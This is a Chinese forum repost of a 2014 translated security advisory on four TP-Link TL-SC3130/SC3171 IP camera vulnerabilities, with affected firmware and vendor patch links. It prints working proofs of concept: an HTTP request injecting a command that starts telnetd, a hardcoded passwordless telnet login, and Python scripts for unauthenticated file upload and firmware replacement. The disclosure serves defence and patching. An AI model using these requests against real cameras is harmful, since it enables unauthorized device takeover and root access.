搜索

[8219] 2014-08-25_TP-Link网络摄像机的多个漏洞详细分析

文档创建者：s7ckTeam
浏览次数：39
最后更新：2025-01-17
2014-08-25_TP-Link网络摄像机的多个漏洞详细分析 T P - L i n k 网 络 摄 像 机 的 多 个 漏 洞 详 细 分 析 无 才 布 衣   F r e e B u f   2 0 1 4 - 0 8 - 2 5 漏 洞 描 述 ： 漏 洞 描 述 ： 在 T P - L i n k T L - S C 3 1 7 1   I P   C a m e r a s 网 络 摄 像 机 的 版 本 为 L M . 1 . 6 . 1 8 P 1 2 _ s i g n 5 的 固 件 上 发 现 多 个 漏 洞 ， 这 些 漏 洞 允 许 攻 击 者 做 如 下 的 事 情 ： 1 ： [ C V E - 2 0 1 3 - 2 5 7 8 ] 通 过 文 件   / c g i - b i n / a d m i n / s e r v e t e s t 执 行 任 意 命 令 。 2 ： [ C V E - 2 0 1 3 - 2 5 7 9 ] 用 硬 编 码 身 份 凭 证 的 s h e l l 执 行 任 意 命 令 。 3 ： [ C V E - 2 0 1 3 - 2 5 8 0 ] 执 行 未 经 身 份 认 证 的 远 程 文 件 上 传 。 4 ： [ C V E - 2 0 1 3 - 2 5 8 1 ] 执 行 未 经 身 份 认 证 的 固 件 升 级 。 攻 击 路 径 ： 攻 击 路 径 ： 通 过 结 合 这 些 漏 洞 ， 多 个 攻 击 路 径 可 被 利 用 。 额 外 的 攻 击 路 径 也 是 可 用 的 ， 但 这 里 的 攻 击 路 径 可 以 让 你 了 解 攻 击 者 如 何 危 及 受 影 响 的 的 设 备 。 攻 击 路 径 攻 击 路 径 1 ： ： （ 验 证 ： 无 ） 1 ： 通 过 [ C V E - 2 0 1 3 - 2 5 8 1 ] 漏 洞 上 传 一 个 已 经 r o o t 的 固 件 。 2 ： 通 过 h t t p : / / < i p - c a m > / c g i - b i n / r e b o o t   重 启 设 备 。 攻 击 路 径 攻 击 路 径 2 ： ： （ 验 证 ： 绕 过 ） 1 ： 通 过 h t t p : / / < i p - c a m > / c g i - b i n / h a r d f a c t o r y d e f a u l t 将 设 备 重 置 为 出 厂 默 认 设 置 。 之 后 ， 通 过 使 用 a d m i n : a d m i n 作 为 有 效 的 用 户 和 密 码 绕 过 验 证 。 2 ： 通 过 h t t p : / / < i p - c a m > / c g i - b i n / r e b o o t 重 启 设 备 。 3 ： 通 过 [ C V E - 2 0 1 3 - 2 5 7 8 ] 漏 洞 开 启 T e l n e t 服 务 。 4 ： 使 用 用 户 q m i k （ 没 有 密 码 ） 登 陆 T e l n e t 服 务 ， 并 使 该 设 备 作 为 枢 轴 点 。 受 影 响 的 设 备 和 固 件 ： 受 影 响 的 设 备 和 固 件 ： T P - L i n k   T L - S C 3 1 3 0   ( 固 件 版 本 L M . 1 . 6 . 1 8 P 1 2 _ s i g n 5 及 以 下 ) T P - L i n k   T L - S C 3 1 3 0 G   ( 固 件 版 本 L M . 1 . 6 . 1 8 P 1 2 _ s i g n 5 及 以 下 ) T P - L i n k   T L - S C 3 1 7 1   ( 固 件 版 本 M . 1 . 6 . 1 8 P 1 2 _ s i g n 5 及 以 下 ) T P - L i n k   T L - S C 3 1 7 1 G   ( 固 件 版 本 L M . 1 . 6 . 1 8 P 1 2 _ s i g n 5 及 以 下 ) 其 他 的 T P - L i n k 网 络 摄 像 机 和 固 件 版 本 可 能 也 受 影 响 。 供 应 商 信 息 ， 解 决 方 案 和 解 决 方 法 ： 厂 商 提 供 的 测 试 版 修 补 固 件 版 本 链 接 如 下 ： [ 3 ]   h t t p : / / w w w . t p - l i n k . c o m / r e s o u r c e s / s o f t w a r e / 1 . 6 . 1 8 P 1 2 _ s i g n 6 _ T L - S C 3 1 3 0 . z i p [ 4 ]   h t t p : / / w w w . t p - l i n k . c o m / r e s o u r c e s / s o f t w a r e / 1 . 6 . 1 8 P 1 2 _ s i g n 6 _ T L - S C 3 1 3 0 G . z i p [ 5 ]   h t t p : / / w w w . t p - l i n k . c o m / r e s o u r c e s / s o f t w a r e / 1 . 6 . 1 8 P 1 2 _ s i g n 6 _ T L - S C 3 1 7 1 . z i p
[ 6 ]   h t t p : / / w w w . t p - l i n k . c o m / r e s o u r c e s / s o f t w a r e / 1 . 6 . 1 8 P 1 2 _ s i g n 6 _ T L - S C 3 1 7 1 G . z i p 最 终 的 正 式 版 本 将 公 布 在 未 来 数 天 ， 请 联 系 T P - L I N K 了 解 更 多 信 息 。 技 术 细 节 说 明 和 技 术 细 节 说 明 和 P o C ： ： 1 ： s e r v e t e s t 中 的 操 作 系 统 命 令 注 入 [ C V E - 2 0 1 3 - 2 5 7 8 ] 文 件 / c g i - b i n / a d m i n / s e r v e t e s t 有 几 个 参 数 可 以 被 用 于 操 作 系 统 命 令 注 入 ， 这 会 导 致 通 过 身 份 验 证 的 用 户 可 以 执 行 任 意 命 令 。 下 面 的 P o C 启 动 t e l n e t 服 务 ： G E T / c g i - b i n / a d m i n / s e r v e t e s t ? c m d = s m t p & S e r v e r N a m e = 1 . 1 . 1 . 1 ; / u s r / s b i n / t e l n e t d ; & S e r v e r P o r t = 2 5 & S e r v e r S S L = o f f & R c p t T o A d d r 1 = q @ q & A d m i n A d d r = q @ q H T T P / 1 . 1 A c c e p t :   * / * A c c e p t - L a n g u a g e :   e n - u s R e f e r e r :   < a   h r e f = " h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 0 0 / p r o g r e s s . h t m " > h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 0 0 / p r o g r e s s . h t m < / a > I f - M o d i f i e d - S i n c e :   S a t ,   1   J a n   2 0 0 0   0 0 : 0 0 : 0 0   G M T A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e U s e r - A g e n t :   M o z i l l a / 5 . 0   ( c o m p a t i b l e ;   M S I E   9 . 0 ;   W i n d o w s   N T   6 . 1 ;   W O W 6 4 ; T r i d e n t / 5 . 0 ) H o s t :   1 9 2 . 1 6 8 . 1 . 1 0 0 P r o x y - C o n n e c t i o n :   K e e p - A l i v e C o o k i e :   V i d e o F m t = 1 A u t h o r i z a t i o n :   B a s i c   Y W R t a W 4 6 Y W R t a W 4 = C o n t e n t - L e n g t h :   2 2 ： t e l n e t 服 务 中 的 硬 编 码 身 份 认 证 [ C V E - 2 0 1 3 - 2 5 7 9 ] 受 影 响 的 系 统 包 含 一 个 不 需 要 密 码 的 硬 编 码 登 录 ， 这 会 导 致 远 程 攻 击 者 使 用 这 个 内 置 的 t e l n e t 服 务 来 登 录 受 影 响 设 备 的 操 作 系 统 ， 用 户 和 密 码 ： u s e r n a m e :   q m i k p a s s w o r d :   ( n o n e ) q m i k 用 户 被 允 许 执 行 命 令 s u ， 这 会 导 致 以 r o o t 权 限 执 行 任 意 命 令 。 t e l n e t 服 务 可 以 用 通 过 [ C V E - 2 0 1 3 - 2 5 7 8 ] 漏 洞 开 启 。 3 ： 未 经 身 份 验 证 的 远 程 文 件 上 传 [ C V E - 2 0 1 3 - 2 5 8 0 ] 文 件 / c g i - b i n / u p l o a d f i l e 允 许 未 经 身 份 验 证 的 用 户 进 行 远 程 文 件 上 传 ， 下 面 是 P y t h o n   P o C ： i m p o r t   r e q u e s t s   f i l e N a m e   =   " l a l a . t m p " f   =   o p e n ( f i l e N a m e ,   " w " ) f . w r i t e ( " l a l a " ) f . c l o s e ( ) r e q u e s t s . p o s t ( " < a   h r e f = " h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 0 0 / c g i - b i n / u p l o a d f i l e " > h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 0 0 / c g i - b i n / u p l o a d f i l e < / a > " ,   f i l e s = { f i l e N a m e :   o p e n ( f i l e N a m e ,   " r b " ) } )
上 传 文 件 （ 在 本 例 中 l a l a . t m p ） 将 会 被 放 置 在 / m n t / m t d 目 录 中 。 4 ： 未 经 身 份 验 证 的 远 程 固 件 升 级 [ C V E - 2 0 1 3 - 2 5 8 1 ] 文 件 / c g i - b i n / f i r m w a r e u p g r a d e 允 许 未 经 身 份 验 证 的 用 户 执 行 远 程 固 件 升 级 ， P y t h o n P o C 如 下 ： i m p o r t   r e q u e s t s   r e q u e s t s . g e t ( " < a   h r e f = " h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 0 0 / c g i - b i n / f i r m w a r e u p g r a d e ? a c t i o n = p r e s e t " > h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 0 0 / c g i - b i n / f i r m w a r e u p g r a d e ? a c t i o n = p r e s e t < / a > " ) f i l e N a m e   =   " C O M _ T 0 1 F 0 0 1 _ L M . 1 . 6 . 1 8 P 1 2 _ s i g n 5 _ T P L . T L - S C 3 1 7 1 . b i n " c o o k i e s = { " V i d e o F m t " : " 1 " } r e q u e s t s . p o s t ( " < a   h r e f = " h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 0 0 / c g i - b i n / f i r m w a r e u p g r a d e ? a c t i o n = p r e s e t " > h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 0 0 / c g i - b i n / f i r m w a r e u p g r a d e ? a c t i o n = p r e s e t < / a > " ,   f i l e s = { " S e t F W F i l e N a m e "   :   ( f i l e N a m e ,   o p e n ( f i l e N a m e ,   " r b " ) ) } , c o o k i e s = c o o k i e s ) 引 用 ： [ 1 ]   T P - L i n k   T L - S C 3 1 7 1 ,   h t t p : / / w w w . t p - l i n k . c o m / e n / p r o d u c t s / d e t a i l s / ? c a t e g o r y i d = 2 3 0 & m o d e l = T L - S C 3 1 7 1 .   [ 2 ]   S e c u r i t y   A n a l y s i s   o f   I P   v i d e o   s u r v e i l l a n c e   c a m e r a s ,   h t t p : / / s e c l i s t s . o r g / f u l l d i s c l o s u r e / 2 0 1 3 / J u n / 8 4 .   [ 3 ]   h t t p : / / w w w . t p - l i n k . c o m / r e s o u r c e s / s o f t w a r e / 1 . 6 . 1 8 P 1 2 _ s i g n 6 _ T L - S C 3 1 3 0 . z i p .   [ 4 ]   h t t p : / / w w w . t p - l i n k . c o m / r e s o u r c e s / s o f t w a r e / 1 . 6 . 1 8 P 1 2 _ s i g n 6 _ T L - S C 3 1 3 0 G . z i p .   [ 5 ]   h t t p : / / w w w . t p - l i n k . c o m / r e s o u r c e s / s o f t w a r e / 1 . 6 . 1 8 P 1 2 _ s i g n 6 _ T L - S C 3 1 7 1 . z i p .   [ 6 ]   h t t p : / / w w w . t p - l i n k . c o m / r e s o u r c e s / s o f t w a r e / 1 . 6 . 1 8 P 1 2 _ s i g n 6 _ T L - S C 3 1 7 1 G . z i p . 原 文 来 自 ： h t t p : / / w w w . c o r e s e c u r i t y . c o m / a d v i s o r i e s / m u l t i p l e - v u l n e r a b i l i t i e s - t p - l i n k - t l - s c 3 1 7 1 - i p - c a m e r a s # o t h e r 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理